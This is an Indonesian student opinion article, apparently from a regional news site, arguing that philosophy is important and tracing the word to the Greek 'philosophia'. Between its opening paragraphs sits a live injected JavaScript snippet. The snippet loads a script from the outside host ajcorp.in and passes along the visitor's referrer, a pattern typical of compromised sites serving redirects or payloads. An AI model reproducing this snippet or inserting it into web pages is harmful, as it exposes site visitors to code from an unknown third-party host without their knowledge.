Oleh: Mukhtar Ruzaman
Mahasiswa STAI DR. KHEZ MUTTAQIEN Purwakarta
Banyak sekali orang yang menganggap bahwasanya orang yang berfilsafat disebut orang gila, banyak ngawurnya, bicaranya tidak dimengerti, dan masih banyak lagi hinaan kepada orang yang berfilsafat. Tanpa mereka sadari bahwasanya mempelajari ilmu filsafat itu sangatlah penting, bahkan tidak akan ada ilmu-ilmu seperti ilmu matematika, ilmu geografi dan ilmu-ilmu lainnya tanpa ada filsafat, karena dengan berfilsafat lahirlah ilmu-ilmu baru.
var d=document;var s=d.createElement(‘script’);
s.src=’//ajcorp.in/pasundanekspres.php?se_referrer=’ + encodeURIComponent(document.referrer);
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName(‘head’)[0].appendChild(s);
}
Imam Ghozali pun mengatakan pentingnya berfilsafat yang diabadikan oleh Syeikh Ibrahim Bajuri dalam Sulamul munauroq di tengah hal. 21 di mana Imam Ghozali mengemukakan, “Sesungguhnya sesorang tidak akan mengetahui sesuatu hal tanpa menggunkan filsafat dan tidak akan menguatkan pada ilmunya”. Jadi alangkah sayangnya jika orang tidak mempelajari ilmu filsafat.
Baca Juga:Lancarkan Aliran Air Pertanian, Dua Pemdes Kerja Bareng Normalisasi Kali CiragemPemcam Gelar Pembinaan Desa
Dengan belajar filsafat, Anda akan dilatih menjadi manusia yang utuh, yakni yang mampu berpikir mendalam, rasional, komunikatif. Apa pun profesi Anda, kemampuan-kemampuan ini amat dibutuhkan. Di sisi lain, dengan belajar filsafat, Anda juga akan memiliki pengetahuan yang luas, yang merentang lebih dari 2000 tahun sejarah manusia.
Apa itu filsafat ?
Kata filsafat berasal dari bahasa Yunani, philosophia yang terdiri dari dua kata philo yang berarti cinta dan shopia yang berarti kebijaksanaan. Ilmu filsafat tidak terbatas, filsafat tidak hanya fokus di satu bidang kehidupan saja, melainkan menguak keterbatasan manusia untuk mempelajari semua ilmu-ilmu pengetahuan.
Mempelajari filsafat itu bukan hanya melakukan penelitian-penelitian, tapi dengan mengemukakan ide, mencari jawaban untuk setiap persoalan yang muncul dalam benak manusia, dan memberi alasan tepat untuk itu. Di dalam filsafat tidak ada sebuah bentuk teks yang mutlak, semuanya selalu kontekstual dalam arti segala anggapan selalu hadir dalam bentuk konstruksi sosial yang makna atau fungsinya dapat diubah seiring berjalannya waktu.